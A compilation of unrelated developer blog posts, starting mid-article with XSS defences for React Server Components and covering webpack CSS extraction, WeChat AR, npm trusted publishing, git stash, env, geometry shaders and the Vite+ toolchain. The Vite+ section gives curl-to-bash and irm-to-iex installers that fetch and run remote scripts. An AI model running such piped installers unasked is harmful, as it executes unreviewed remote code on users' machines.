event.tags = { ...event.tags, security: 'xss-attempt' };
}
}
return event;
}
});
七、总结
React Server Components XSS 漏洞的教训:
- 序列化要小心:JSON.stringify 不是万能的
- 信任边界:永远不要信任用户输入
- 纵深防御:多层防护,不依赖单一措施
- 及时更新:关注安全公告,及时升级
防御措施:
- 输入验证和消毒
- 输出转义
- CSP 策略
- HttpOnly Cookie
- 自动化安全检查
- 运行时监控
安全是一个持续的过程,不是一次性的工作。保持警惕,定期审查,及时更新。
如果这篇文章对你有帮助,欢迎点赞收藏。有问题欢迎评论区讨论。
mini-css-extract-plugin:生产环境 CSS 提取的最佳方案
一、为什么需要提取 CSS
开发环境用 style-loader 将 CSS 注入到 JS 中很方便,但生产环境有问题:
- CSS 包含在 JS 中,增加 JS 体积
- CSS 无法并行加载
- 无法利用浏览器缓存
- 首屏渲染会闪烁(FOUC)
mini-css-extract-plugin 可以将 CSS 提取到独立文件。
二、基础配置
安装
npm install --save-dev mini-css-extract-plugin
webpack 配置
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [
MiniCssExtractPlugin.loader, // 替换 style-loader
'css-loader'
]
}
]
},
plugins: [
new MiniCssExtractPlugin({
filename: '[name].[contenthash:8].css'
})
]
};
三、环境区分
开发环境用 style-loader(支持 HMR),生产环境用 MiniCssExtractPlugin。
const isDev = process.env.NODE_ENV === 'development';
module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [
isDev ? 'style-loader' : MiniCssExtractPlugin.loader,
'css-loader'
]
}
]
},
plugins: [
!isDev && new MiniCssExtractPlugin({
filename: 'css/[name].[contenthash:8].css'
})
].filter(Boolean)
};
四、配置选项
new MiniCssExtractPlugin({
// 输出文件名
filename: '[name].[contenthash:8].css',
// 异步 chunk 的文件名
chunkFilename: '[id].[contenthash:8].css',
// 是否在运行时插入 <link> 标签
insert: '#some-element',
// 自定义属性
attributes: {
id: 'my-css',
'data-target': 'head'
},
// 移除 Order 警告
ignoreOrder: false
})
五、CSS 压缩
使用 css-minimizer-webpack-plugin 压缩 CSS。
npm install --save-dev css-minimizer-webpack-plugin
const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');
module.exports = {
optimization: {
minimizer: [
'...', // 保留默认的 JS 压缩
new CssMinimizerPlugin()
]
}
};
六、代码分割
按入口分割
module.exports = {
entry: {
home: './src/home.js',
about: './src/about.js'
},
plugins: [
new MiniCssExtractPlugin({
filename: '[name].css'
})
]
};
// 输出:home.css, about.css
按路由分割
// 动态导入
const Home = lazy(() => import('./Home'));
const About = lazy(() => import('./About'));
// 每个路由的 CSS 会被提取到独立文件
七、HMR 支持
mini-css-extract-plugin 在开发环境也支持 HMR,但需要配置。
module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [
{
loader: MiniCssExtractPlugin.loader,
options: {
hmr: process.env.NODE_ENV === 'development'
}
},
'css-loader'
]
}
]
}
};
八、完整配置示例
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');
const isDev = process.env.NODE_ENV === 'development';
module.exports = {
mode: isDev ? 'development' : 'production',
module: {
rules: [
{
test: /\.css$/,
use: [
isDev ? 'style-loader' : MiniCssExtractPlugin.loader,
'css-loader',
'postcss-loader'
]
},
{
test: /\.scss$/,
use: [
isDev ? 'style-loader' : MiniCssExtractPlugin.loader,
'css-loader',
'postcss-loader',
'sass-loader'
]
}
]
},
plugins: [
!isDev && new MiniCssExtractPlugin({
filename: 'css/[name].[contenthash:8].css',
chunkFilename: 'css/[id].[contenthash:8].css'
})
].filter(Boolean),
optimization: {
minimizer: [
'...',
new CssMinimizerPlugin({
minimizerOptions: {
preset: [
'default',
{
discardComments: { removeAll: true }
}
]
}
})
]
}
};
微信小程序开发01:XR-FRAME的快速上手
一、前言
最近要基于微信小程序实现一个具备AR功能的APP,在进行技术选型时,发现小程序本身自带了XR-FRAME这个框架,
从描述上来看:
没有比它更“合适”的,用来进行AR功能开发的框架了
本来想使用 Vibe Coding 无痛完成开发,但是却在实际使用中,发现大模型写不太来 wxml 和<xr-...>相关的代码
于是在此开了一个系列文章,用来记录我遇到的坑 😓
二、从 1 到 1.x
个人的建议,一开始不从0到1,而是从1到1.x,即基于现有的demo二次开发一个
否则,如果想在学习完下方所有<xr->相关的基础元素,再开始代码编写,着实头疼
官方文档里提供了扫码即可查看的示例
不过呢,没放源码的链接,这边我通过github找到了大概就是官方文档示例的源码仓库,地址如下:
dtysky/xr-frame-demo: Demos for xr-frame system in wx-mini-program.
运行后的效果如下:
三、动手试试
需求背景:我期望实现一个基础的AR功能,即扫描一张自定义的图片,然后能够出现一个自定义的元素
编码工具:Trae-CN
3.1 如何用【Trae】帮忙编写【微信开发者工具】里的工程代码
习惯了vibe coding后,【微信开发者工具】并不像VSCODE一样,也不能说通过IDEA插件的方式安装AI IDE工具 多少有点寸步难行,真的不想 古法编程 😭
其实很简单,在【微信开发者工具】里新建一个工程之后
在Trae里打开此工程即可
然后Trae里写代码,【微信开发者工具】里负责 编译 即可
3.2 基于现有页面完成自定义改造
我们将刚刚git clone下来的项目的源码直接替换掉新建的示例工程的代码,
然后运行它,选择下方标签
然后再选择此功能页
可以看到,此功能页的实际效果,就符合了我们在本章节初的需求背景
扫描具体的某一张图片(鹿的图片),然后出现自定义元素(蝴蝶)
我们快速在源码中定位到相关页面的
但是却发现怎么JS里面几乎是空的?
查阅文档后我们明白behaviors有点类似 Vue 中的mixins,
那显然,我们暂时不用关心
sceneReadyBehavior中到底有什么
接着看别的文件,我们发现了在JSON中的这个
一开始我没仔细看,我还纳闷为什么这个组件还要引用自己 😓
然后才发现这里命名都很一致,不过一个是 pages/... 一个是 components/... 😓
不过也可以取巧,试着🎲赌一下被识别的图片名称和官网示例的链接是一致的
你还真别说,还真的一致,😀
这种另辟蹊径的方式,也能帮我这位老眼昏花的人,找到核心JS代码的位置
miniprogram\components\template\xr-template-markerLock\index.js
3.3 资源替换
3.3.1 识别图替换
由于微信小程序对打包上传的代码有严格的大小限制,不超过2MB,
🙅因此图方便使用静态图片放在工程里,走不通
这里我用某云的对象存储解决这个问题,提供一个公有读,私有写的链接即可
不过说个题外话,我发现生成的链接粘贴到浏览器里会触发立刻下载,
而不是和微信官网示例的鹿的图片一样,可以网页预览,
好奇的同时去学习了一下,发现是 Header 的问题,
我们设置 Content-Disposition 为 inline 即可实现网页预览了
3.3.2 展示元素替换
我期望将原来的模型换成视频,这时候就可以利用Tare基于工程上下文去帮我们实现,同样运行demo工程 找到应用视频的页面,定位到源码位置
我们不需要去了解 xr.XRGLTF 切换到 xr.XRMesh 需要注意什么,Trae 会去了解的
3.3.3 成果
四、总结
在本篇文章,我们实现了最基础的AR功能,在下一篇文章,我们会将模型、视频、图片相结合,实现拥有更多功能的AR页面。
DocsJS npmjs 自动化发布复盘(Trusted Publisher)
DocsJS npmjs 自动化发布复盘(Trusted Publisher)
本文是 @coding01/docsjs、@coding01/docsjs-editor、@coding01/docsjs-markdown 的发布复盘与最终标准方案。目标是:后续发布只走一条稳定路径,不再重复踩坑。
产品矩阵与链接、
1) @coding01/docsjs(核心引擎)
Word/DOCX 高保真导入与渲染核心,提供 Web Component + React/Vue 适配能力。
- 官网:docsjs.coding01.cn/
- GitHub:github.com/fanly/docsj…
- npmjs:www.npmjs.com/package/@co…
2) @coding01/docsjs-editor(编辑器桥接层)
面向多编辑器(如 CKEditor/Tiptap 等)的集成桥接层,负责快照注入、读回与适配切换。
- GitHub:github.com/fanly/docsj…
- npmjs:www.npmjs.com/package/@co…
3) @coding01/docsjs-markdown(Markdown 转换层)
将 docsjs HTML 快照或 DOCX 转换为 Markdown(Standard/GFM/frontmatter)。
1. 最终发布架构
只保留一条 npmjs 发布链路:
- Git tag 触发:
v*.*.* - GitHub Actions workflow:
.github/workflows/publish.yml - npm Trusted Publisher(OIDC)签发并发布
npm publish --provenance --access public
明确禁止:
- 在
ci.yml里再做第二条发布路径 - 混用
NPM_TOKEN和 Trusted Publisher - 同时维护多个“看起来都能发布”的 workflow
2. 这次踩到的关键问题
问题 A:E404 Not Found - PUT https://registry.npmjs.org/@coding01%2fdocsjs
现象:
- 构建、测试、verify 全通过
- publish 阶段报
E404
根因:
- 包级 Trusted Publisher 绑定和实际 OIDC 身份不匹配,或存在脏配置。
验证方法:
- 在 workflow 中打印 OIDC claims(sanitized):
subrepositoryworkflow_refjob_workflow_refref
- 用 claims 对照 npm 包页面的 Trusted Publisher 配置逐字段比对。
问题 B:ENEEDAUTH This command requires you to be logged in
现象:
- CI 中报需要
npm adduser
根因:
-
ci.yml里残留了 token 发布 job(NODE_AUTH_TOKEN指向仓库 secretNPM_TOKEN),不是 Trusted Publisher 路径。
修复:
- 删除
ci.yml里的发布 job - 发布只由
publish.yml负责
问题 C:CI workflow 无效
现象:
Invalid workflow file(Line: 9): Unexpected value 'tag'
根因:
- YAML 触发字段写错:
tag应为tags(在push下)。
问题 D:Linting could not start
现象:
-
vp check报 lint 无法启动
处理策略:
- 拆分检查职责,避免重复启动 lint:
-
lint:vp lint . -
fmt:check:vp check --no-lint -
typecheck:vp exec tsc --noEmit
-
-
verify改为串联上述步骤,降低工具链并发冲突概率。
3. 当前标准配置(必须保持)
3.1 publish.yml
要求:
-
permissions包含id-token: write -
on.push.tags为v*.*.* -
npm ci+npm run verify - 仅执行
npm publish --provenance --access public
3.2 ci.yml
要求:
- 只做质量检查(lint/fmt/typecheck/test/build)
- 不做 npm 发布
3.3 package.json
建议:
- 保留
publishConfig.access=public -
prepublishOnly走verify -
prepare在 CI 中应可安全跳过(避免发布时副作用)
4. 发布前检查清单(实战)
每次发版前按顺序执行:
- 本地:
npm run verify
- 包信息:
-
name、version、files、exports正确
-
- Git:
-
package.json版本与 tag 一致 git tag vX.Y.Z
-
- npm 包页面:
- Trusted Publisher 指向正确 repo + workflow filename
- Actions:
- 只有
publish.yml执行发布
- 只有
5. 故障快速定位流程
如果发布失败,按这个顺序排:
- 先看失败 step:
-
Verify失败:先修代码/脚本 -
Publish失败:优先查 npm 权限或 Trusted Publisher 绑定
-
- 看错误码:
-
E404:通常是 TP 绑定不匹配/权限隐藏 -
ENEEDAUTH:说明走了 token 登录路径,不是 TP 路径
-
- 看 OIDC claims:
- 逐字段比对
repository/workflow_ref/ref/sub
- 逐字段比对
6. 结论
正确做法不是“多加一条兜底发布”,而是保证发布链路唯一、可观测、可复现:
- CI 只做质量门
- publish workflow 只做 Trusted Publisher 发布
- 所有失败都能映射到单一责任面(代码、workflow、npm 绑定)
按本文执行,可以稳定避免本轮出现过的 E404、ENEEDAUTH、workflow 语法错误和 lint 启动异常。
附录:三个产品入口
git stash: Save and Restore Uncommitted Changes
When you are in the middle of a feature and need to switch branches to fix a bug or review someone else’s work, you have a problem: your changes are not ready to commit, but you cannot switch branches with a dirty working tree. git stash solves this by saving your uncommitted changes to a temporary stack so you can restore them later.
This guide explains how to use git stash to save, list, apply, and delete stashed changes.
Basic Usage
The simplest form saves all modifications to tracked files and reverts the working tree to match the last commit:
git stashSaved working directory and index state WIP on main: abc1234 Add login page
Your working tree is now clean. You can switch branches, pull updates, or apply a hotfix. When you are ready to return to your work, restore the stash.
By default, git stash saves both staged and unstaged changes to tracked files. It does not save untracked or ignored files unless you explicitly include them (see below).
Stashing with a Message
A plain git stash entry shows the branch and last commit message, which becomes hard to read when you have multiple stashes. Use -m to attach a descriptive label:
git stash push -m "WIP: user authentication form"This makes it easy to identify the right stash when you list them later.
Listing Stashes
To see all saved stashes, run:
git stash liststash@{0}: On main: WIP: user authentication form
stash@{1}: WIP on main: abc1234 Add login page
Stashes are indexed from newest (stash@{0}) to oldest. The index is used when you want to apply or drop a specific stash.
To inspect the contents of a stash before applying it, use git stash show:
git stash show stash@{0}Add -p to see the full diff:
git stash show -p stash@{0}Applying Stashes
There are two ways to restore a stash.
git stash pop applies the most recent stash and removes it from the stash list:
git stash popgit stash apply applies a stash but keeps it in the list so you can apply it again or to another branch:
git stash applyTo apply a specific stash by index, pass the stash reference:
git stash apply stash@{1}If applying the stash causes conflicts, resolve them the same way you would resolve a merge conflict, then stage the resolved files.
Stashing Untracked and Ignored Files
By default, git stash only saves changes to files that Git already tracks. New files you have not yet staged are left behind.
Use -u (or --include-untracked) to include untracked files:
git stash -uTo include both untracked and ignored files — for example, generated build artifacts or local config files — use -a (or --all):
git stash -aPartial Stash
If you only want to stash some of your changes and leave others in the working tree, use the -p (or --patch) flag to interactively select which hunks to stash:
git stash -pGit will step through each changed hunk and ask whether to stash it. Type y to stash the hunk, n to leave it, or ? for a full list of options.
Creating a Branch from a Stash
If you have been working on a stash for a while and the branch has diverged enough to cause conflicts on apply, you can create a new branch from the stash directly:
git stash branch new-branch-nameThis creates a new branch, checks it out at the commit where the stash was originally made, applies the stash, and drops it from the list if it applied cleanly. It is the safest way to resume stashed work that has grown out of sync with the base branch.
Deleting Stashes
To remove a specific stash once you no longer need it:
git stash drop stash@{0}To delete all stashes at once:
git stash clearUse clear with care — there is no undo.
Quick Reference
For a printable quick reference, see the Git cheatsheet .
| Command | Description |
|---|---|
git stash |
Stash staged and unstaged changes |
git stash push -m "message" |
Stash with a descriptive label |
git stash -u |
Include untracked files |
git stash -a |
Include untracked and ignored files |
git stash -p |
Interactively choose what to stash |
git stash list |
List all stashes |
git stash show stash@{0} |
Show changed files in a stash |
git stash show -p stash@{0} |
Show full diff of a stash |
git stash pop |
Apply and remove the latest stash |
git stash apply stash@{0} |
Apply a stash without removing it |
git stash branch branch-name |
Create a branch from the latest stash |
git stash drop stash@{0} |
Delete a specific stash |
git stash clear |
Delete all stashes |
FAQ
What is the difference between git stash pop and git stash apply?pop applies the stash and removes it from the stash list. apply restores the changes but keeps the stash entry so you can apply it again — for example, to multiple branches. Use pop for normal day-to-day use and apply when you need to reuse the stash.
Does git stash save untracked files?
No, not by default. Run git stash -u to include untracked files, or git stash -a to also include files that match your .gitignore
patterns.
Can I stash only specific files?
Yes. In modern Git, you can pass pathspecs to git stash push, for example: git stash push -m "label" -- path/to/file. If you need a more portable workflow, use git stash -p to interactively select which hunks to stash.
How do I recover a dropped stash?
If you accidentally ran git stash drop or git stash clear, the underlying commit may still exist for a while. Run git fsck --no-reflogs | grep "dangling commit" to list unreachable commits, then git show <hash> to inspect them. If you find the right stash commit, you can recreate it with git stash store -m "recovered stash" <hash> and then apply it normally.
Can I apply a stash to a different branch?
Yes. Switch to the target branch with git switch branch-name, then run git stash apply stash@{0}. If there are no conflicts, the changes are applied cleanly. If the branches have diverged significantly, consider git stash branch to create a fresh branch from the stash instead.
Conclusion
git stash is the cleanest way to set aside incomplete work without creating a throwaway commit. Use git stash push -m to keep your stash list readable, prefer pop for one-time restores, and use git stash branch when applying becomes messy. For a broader overview of Git workflows, see the Git cheatsheet
or the git revert guide
.

env Cheatsheet
Basic Syntax
Core env command forms.
| Command | Description |
|---|---|
env |
Print the current environment |
env --help |
Show available options |
env --version |
Show the installed env version |
env -0 |
Print variables separated with NUL bytes |
Inspect Environment Variables
Use env with filters to inspect specific variables.
| Command | Description |
|---|---|
| `env | sort` |
| `env | grep ‘^PATH='` |
| `env | grep ‘^HOME='` |
| `env | grep ‘^LANG='` |
Run Commands with Temporary Variables
Set variables for one command without changing the current shell session.
| Command | Description |
|---|---|
VAR=value env command |
Run one command with a temporary variable |
VAR1=dev VAR2=1 env command |
Set multiple temporary variables |
env PATH=/custom/bin:$PATH command |
Override PATH for one command |
env LANG=C command |
Run a command with the C locale |
env HOME=/tmp bash |
Start a shell with a temporary home directory |
Clean or Remove Variables
Start with a minimal environment or remove selected variables.
| Command | Description |
|---|---|
env -i command |
Run a command with an empty environment |
env -i PATH=/usr/bin:/bin bash --noprofile --norc |
Start a mostly clean shell with a minimal PATH
|
env -u VAR command |
Run a command without one variable |
env -u http_proxy command |
Remove a proxy variable for one command |
env -i VAR=value command |
Run a command with only the variables you set explicitly |
Common Variables
These variables are often inspected or overridden with env.
| Variable | Description |
|---|---|
PATH |
Directories searched for commands |
HOME |
Current user’s home directory |
USER |
Current user name |
SHELL |
Default login shell |
LANG |
Locale and language setting |
TZ |
System timezone (e.g. America/New_York) |
EDITOR |
Default text editor |
TERM |
Terminal type (e.g. xterm-256color) |
TMPDIR |
Directory for temporary files |
PWD |
Current working directory |
Troubleshooting
Quick checks for common env issues.
| Issue | Check |
|---|---|
| A temporary variable does not persist |
env VAR=value command affects only that command and its children |
A command is not found after env -i
|
Add a minimal PATH, such as /usr/bin:/bin
|
| Output is hard to parse safely | Use env -0 with tools that support NUL-delimited input |
| A variable is still visible in the shell |
env does not modify the parent shell; use export or unset the variable in the shell itself |
| A locale-sensitive command behaves differently | Check whether LANG or related locale variables were overridden |
Related Guides
Use these guides for broader environment-variable workflows.
| Guide | Description |
|---|---|
| How to Set and List Environment Variables in Linux | Full guide to listing and setting environment variables |
| export Command in Linux | Export shell variables to child processes |
| Bashrc vs Bash Profile | Understand shell startup files |
| Bash cheatsheet | Quick reference for Bash syntax and variables |
《实时渲染》第3章-图形处理单元-3.7几何着色器
实时渲染
3. 图形处理单元
3.7 几何着色器
几何着色器可以将图元转换为其他图元,这是曲面细分阶段无法做到的。例如,可以通过让每个三角形创建线边将三角形网格转换为线框视图。或者,线条可以被面向观察者的四边形替换,因此制作具有较厚边缘的线框渲染[1492]。随着DirectX 10的发布,几何着色器在2006年末随着DirectX 10的发布被添加到硬件加速图形管线中。它位于管道中的曲面细分着色器之后,它的使用是可选的。虽然它是Shader Model 4.0的必需部分,但在早期的着色器模型中并未使用。OpenGL 3.2和OpenGL ES 3.2也支持这种类型的着色器。
几何着色器的输入是单个对象及其关联的顶点。对象通常由带状三角形、线段或简单的点组成。几何着色器可以定义和处理扩展图元。特别是,可以传入三角形外的三个附加顶点,可以使用折线上的两个相邻顶点。见图3.12。使用DirectX 11和Shader Model 5.0,您可以传入更精细的面片,最多有32个控制点。也就是说,曲面细分阶段对于面片生成更有效[175]。
图3.12. 几何着色器程序的几何着色器输入是某种单一类型:点、线段、三角形。最右边的两个图元包括与线和三角形对象相邻的顶点。更复杂的面片类型是可能的。
几何着色器处理该图元并输出零个或多个顶点,这些顶点被视为点、折线或三角形条带。请注意,几何着色器根本无法生成任何输出。通过这种方式,可以通过编辑顶点、添加新图元和删除其他图元来有选择地修改网格。
几何着色器旨在修改传入数据或制作有限数量的副本。例如,一种用途是生成六个转换后的数据副本,以同时渲染立方体贴图的六个面;详见第10.4.3节。 它还可以用于高效地创建级联阴影贴图以生成高质量的阴影。利用几何着色器的其他算法包括从点数据创建可变大小的粒子、沿着轮廓挤出翅片以进行毛发渲染,以及找出物体边缘的阴影算法。更多示例请参见图3.13。本书的其余部分将讨论这些和其他用途。
图3.13. 几何着色器(GS)的一些用途。在左侧,使用GS即时执行元球等值面细分。在中间,使用GS完成线段的分形细分并输出,并且由GS生成广告牌以显示闪电。在右侧,布料模拟是通过使用带有流输出的顶点和几何着色器来执行的。(来自 NVIDIA SDK 10 [1300]示例的图像,由NVIDIA Corporation提供。)
DirectX 11添加了几何着色器使用实例化的能力,其中几何着色器可以在任何给定的图元上运行一定次数[530, 1971]。在OpenGL 4.0中,这是用调用计数指定的。几何着色器还可以输出最多四个流。一个流可以向下发送到渲染管线以进行进一步处理。所有这些流都可以选择发送到流输出渲染目标。
几何着色器保证以与输入相同的顺序输出图元的结果。这会影响性能,因为如果多个着色器内核并行运行,则必须保存和排序结果。这个和其他因素不利于几何着色器用于在单个调用中复制或创建大量几何体[175, 530]。
在发出绘制调用后,管线中只有三个地方可以在GPU上创建工作:光栅化、细分阶段和几何着色器。其中,考虑到所需的资源和内存,几何着色器的行为是最不可预测的,因为它是完全可编程的。在实践中,几何着色器通常用处不大,因为它不能很好地映射到GPU的优势。在某些移动设备上,它是用软件实现的,因此在移动端不鼓励使用它[69]。
3.7.1 流输出
GPU管线的标准用途是通过顶点着色器发送数据,然后光栅化生成的三角形并在像素着色器中处理它们。过去数据总是通过管线传递,无法访问中间结果。流输出的概念是在Shader Model 4.0中引入的。在顶点着色器(以及可选的曲面细分和几何着色器)处理顶点之后,除了被发送到光栅化阶段之外,它们还可以以流的形式输出,即有序数组。事实上,可以完全关闭光栅化,然后将管线纯粹用作非图形流处理器。以这种方式处理的数据可以通过管线发回,从而允许迭代处理。这种类型的操作对于模拟流动的水或其他粒子效应非常有用,如第13.8节所述。它还可以用于为模型蒙皮,然后让这些顶点可重复使用(第4.4节)。
流输出仅以浮点数的形式返回数据,因此它可能具有显着的内存成本。流输出适用于图元,而不是直接适用于顶点。如果网格沿着管线发送,每个三角形都会生成自己的一组三个输出顶点。原始网格中的任何顶点共享都将丢失。出于这个原因,一个更典型的用途是将顶点作为点集图元通过管线发送。在OpenGL中,流输出阶段称为变换反馈,因为它的大部分使用重点是变换顶点并返回它们以供进一步处理。图元保证按照它们输入的顺序发送到流输出目标,这意味着顶点顺序将被保持[530]。
尤雨溪宣布 Vite+ 正式开源,前端工具链要大一统了
我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于
Tiptap的富文本编辑器、NestJs后端服务、AI集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了Tiptap的深度定制、性能优化和协作功能的实现等核心难点。
如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。
如果你对 AI全栈 感兴趣,也欢迎添加我微信,我拉你进交流群
3 月 13 日深夜,尤雨溪在 X 上发了一条推文,平静地宣布了一件大事。
We are happy to announce that Vite+ is now fully open source under MIT license. Free for everyone!
Vite+ 以 MIT 协议全量开源,所有人免费使用。官网已经上线,地址是 viteplus.dev。
如果说 Vite 8 的发布是"换了个引擎",那 Vite+ 的开源就是直接掀了桌子。它不是 Vite 的升级版,而是一个全新的物种,一个二进制文件,吃掉你整条前端工具链。
Vite+ 到底是什么
官网给出的定位很直白,"The Unified Toolchain for the Web"。
一句话来说,Vite+ 是一个统一的 Web 开发工具链,把 Vite、Vitest、Oxlint、Oxfmt、Rolldown、tsdown、Vite Task 七个项目合并成了一个 CLI,命令叫 vp。
它的野心不小。管构建,管运行时,管包依赖,管代码检查,管格式化,管测试,管打包发布,甚至管 monorepo 的任务编排。以前你需要 npm、pnpm、Vite、ESLint、Prettier、Jest、nvm 各自配置、各自维护,现在一个 vp 全包了。
值得注意的是,Vite+ 是两段式设计:vp 是全局安装的命令行工具,vite-plus 是每个项目里安装的本地包。这两者协同工作,vp 负责统一入口,vite-plus 负责具体的构建逻辑。
完整命令地图
vp 的命令覆盖了开发全流程,分成几个维度来看:
启动和初始化
| 命令 | 做什么 |
|---|---|
vp create |
创建新项目(支持 app、包、monorepo 模板) |
vp migrate |
把现有项目迁移到 Vite+
|
vp env |
管理 Node.js 版本 |
vp install |
用正确的包管理器安装依赖 |
vp config |
配置 commit hooks 和 agent 集成 |
日常开发
| 命令 | 做什么 | 替代谁 |
|---|---|---|
vp dev |
开发服务器,即时 HMR | vite dev |
vp check |
类型检查 + Lint + 格式化 |
tsc、ESLint、Prettier
|
vp lint |
单独运行 Lint | ESLint |
vp fmt |
单独运行格式化 | Prettier |
vp test |
运行测试 |
Jest、Vitest
|
vp staged |
对暂存文件跑检查 | lint-staged |
构建和发布
| 命令 | 做什么 | 替代谁 |
|---|---|---|
vp build |
生产构建 | vite build |
vp preview |
本地预览生产构建 | vite preview |
vp pack |
库打包 + DTS 生成 |
tsup、tsdown
|
vp run |
monorepo 任务执行(带缓存) |
turborepo、nx
|
依赖管理
| 命令 | 做什么 |
|---|---|
vp add / vp remove / vp update
|
包管理操作 |
vp dedupe / vp outdated / vp why
|
依赖分析 |
vp dlx |
不安装直接运行包(类似 npx) |
vpx |
全局执行二进制 |
还有一个彩蛋命令,vp implode,它会把 vp 本身和所有相关数据从机器上清除干净,如果用了之后觉得不适合自己,一条命令可以走得一干二净。
官网 viteplus.dev 首页的终端示例里,用 vp create acme-web --template react-ts 创建 React + TypeScript 项目,从脚手架生成到依赖安装完成,显示耗时 1.1 秒。
性能数字很夸张
Vite+ 的底层全部用 Rust 重写,官方给出的性能对比数据:
- 生产构建比
webpack快 40 倍(基于 Vite 8 +Rolldown) -
Oxlint比ESLint快 50 到 100 倍 -
Oxfmt比Prettier快 30 倍 - 开发时 HMR 始终保持即时响应
这些数字不是 Vite+ 团队自己编的。Oxlint 和 Oxfmt 在 Oxc 项目里已经跑了很久的 benchmark,社区早有验证。Vite+ 做的事是把这些分散的高性能工具统一到了一个入口。
vp check 不只是 Lint
vp check 是这个工具链里设计最有意思的命令之一,值得单独说说。
它把三件事合进一个命令:Oxfmt 负责格式化,Oxlint 负责代码检查,tsgolint 负责 TypeScript 类型检查。三个工具并行跑,比分别执行快得多。
当你在 vite.config.ts 里开启 typeCheck 选项后,vp check 还会接入 TypeScript Go 工具链做类型感知的静态分析,这是微软正在推进的下一代 TypeScript 编译器,速度比原来的 tsc 快了一个数量级。
import { defineConfig } from 'vite-plus'
export default defineConfig({
lint: {
options: {
typeAware: true,
typeCheck: true,
},
},
})
开启之后,一条 vp check 就能搞定格式、Lint、类型三重检查。加上 --fix 参数还能自动修复可修复的问题:
vp check # 检查
vp check --fix # 检查并自动修复
一个配置文件管所有
以前的前端项目,配置文件能铺满项目根目录,vite.config.ts、.eslintrc、.prettierrc、vitest.config.ts、tsconfig.json、lint-staged.config.js……
Vite+ 的做法是把所有配置收拢到一个 vite.config.ts:
import { defineConfig } from 'vite-plus'
export default defineConfig({
// 开发服务器
server: { port: 3000 },
// Oxlint 规则
lint: {
options: {
typeAware: true,
typeCheck: true,
},
},
// Oxfmt 格式化
fmt: { /* ... */ },
// Vitest 测试
test: { /* ... */ },
// 任务编排
tasks: { /* ... */ },
// commit 前的暂存检查(替代 lint-staged)
staged: {
'*.{js,ts,tsx,vue,svelte}': 'vp check --fix',
},
// 库打包(替代 tsdown.config.ts)
pack: {
entry: ['src/index.ts'],
dts: true,
format: ['esm', 'cjs'],
},
})
一个文件,一套类型提示,一个 IDE 插件搞定所有配置的智能补全。对于强迫症开发者来说,这可能比性能提升更让人兴奋。
vp env 能精细管理 Node 版本
nvm 的用户应该对这种场景很熟悉,不同项目需要不同版本的 Node,切换还容易忘。
vp env 的设计是让 node、npm 等命令都通过 Vite+ 的 shim 来走,自动识别当前项目锁定的 Node 版本,无需手动切换。
常用命令:
vp env pin lts # 把项目锁定到最新 LTS 版本(写入 .node-version)
vp env use 20 # 当前 shell 会话临时切换到 Node 20
vp env default lts # 设置全局默认版本
vp env current # 查看当前解析到的环境
vp env doctor # 运行环境诊断,排查问题
vp env list # 列出本地已安装的版本
vp env list-remote --lts # 查看可安装的 LTS 版本列表
如果你不想让 Vite+ 接管 Node 版本管理,可以用 vp env off 切到"系统优先"模式,Vite+ 只在系统 Node 找不到时才接管。
现有项目怎么迁移
这是官网里最有价值的部分之一,也是原文没有覆盖到的内容。
对于已有的 Vite 项目,迁移命令是:
vp migrate
这条命令会自动完成:把各个工具的分散配置合并进 vite.config.ts,更新项目依赖,重写 vite、vitest 的导入路径,更新 package.json 里的 scripts。
官方建议的迁移前准备:先升级到 Vite 8+ 和 Vitest 4.1+,了解现有的 Lint、格式化、测试配置。迁移后跑一遍验证:
vp install
vp check
vp test
vp build
有意思的一个细节,官网的迁移文档里提供了一段专门写给 AI 编码助手的 migration prompt,可以直接粘贴给 Cursor 或 Claude 来代劳整个迁移过程。这说明 Vite+ 团队在设计工具时已经把 AI 辅助开发纳入考虑了。
不止是 Vue 生态的事
Vite+ 支持的框架列表相当长,包括 React、Vue、Svelte、Solid、Astro、Nuxt、Next.js、Remix,官网列了超过 20 个框架。
这意味着它不是"Vue 生态的专属工具"。任何前端框架的开发者都可以用,而且迁移成本几乎为零,因为底层就是 Vite,现有的 Vite 插件理论上都能直接用。
部署方面,Vite+ 可以与 Nitro 配合,直接部署到 Vercel、Netlify、Cloudflare、Render 等平台,从 SPA 到全栈 meta 框架都有完整支持。
怎么装
macOS 或 Linux 下:
curl -fsSL https://vite.plus | bash
Windows(PowerShell)下:
irm https://vite.plus/ps1 | iex
装完就是一个独立二进制文件,不依赖 Node.js 全局安装,不需要 npm install -g。安装后打开新的终端窗口,运行 vp help 就能看到所有命令。在 CI 环境里可以用官方提供的 setup-vp Action。
运行 vp upgrade 可以更新 vp 本身到最新版本。
谁在做这件事
Vite+ 背后是 VoidZero,尤雨溪在 2024 年创立的公司,专注于 Web 工具链。核心团队成员里有几个名字值得关注:
- 尤雨溪,
Vue.js和Vite的创造者 - LONG Yinan,
Oxc项目的核心作者,Rust 工具链领域的资深开发者 - Christoph Nakazawa,前 Meta 工程师,
Jest的创造者
没错,Jest 的创造者现在在给 Vite+ 写测试框架。这个阵容不需要多解释。
GitHub 仓库显示,Vite+ 的代码库有 608 个 commit,62.9% 是 Rust,33.4% 是 TypeScript。目前最新版本是 v0.1.11,处于 Alpha 阶段。
而 Vite 本身每周 npm 下载量已达 6900 万次,GitHub 星标 78.7K,是前端构建工具的事实标准。Vitest 每周下载量也超过 3500 万。这套工具链的用户基数不需要从零积累。
商业模式
很多人关心的问题,这么大的项目,免费能持续多久?
VoidZero 的做法是,Vite+ 完全开源,MIT 协议,永久免费。公司的营收来源是另一个独立的商业产品 Void,具体形态还没公开,但大概率是面向企业的增强版或云服务。
这和 Vercel(Next.js 免费,平台收费)的路线类似,开源工具做增长飞轮,商业产品做营收。这条路已经被验证过了。
现阶段要注意的几点
虽然 Vite+ 的愿景很性感,但当前有几个现实问题值得正视。
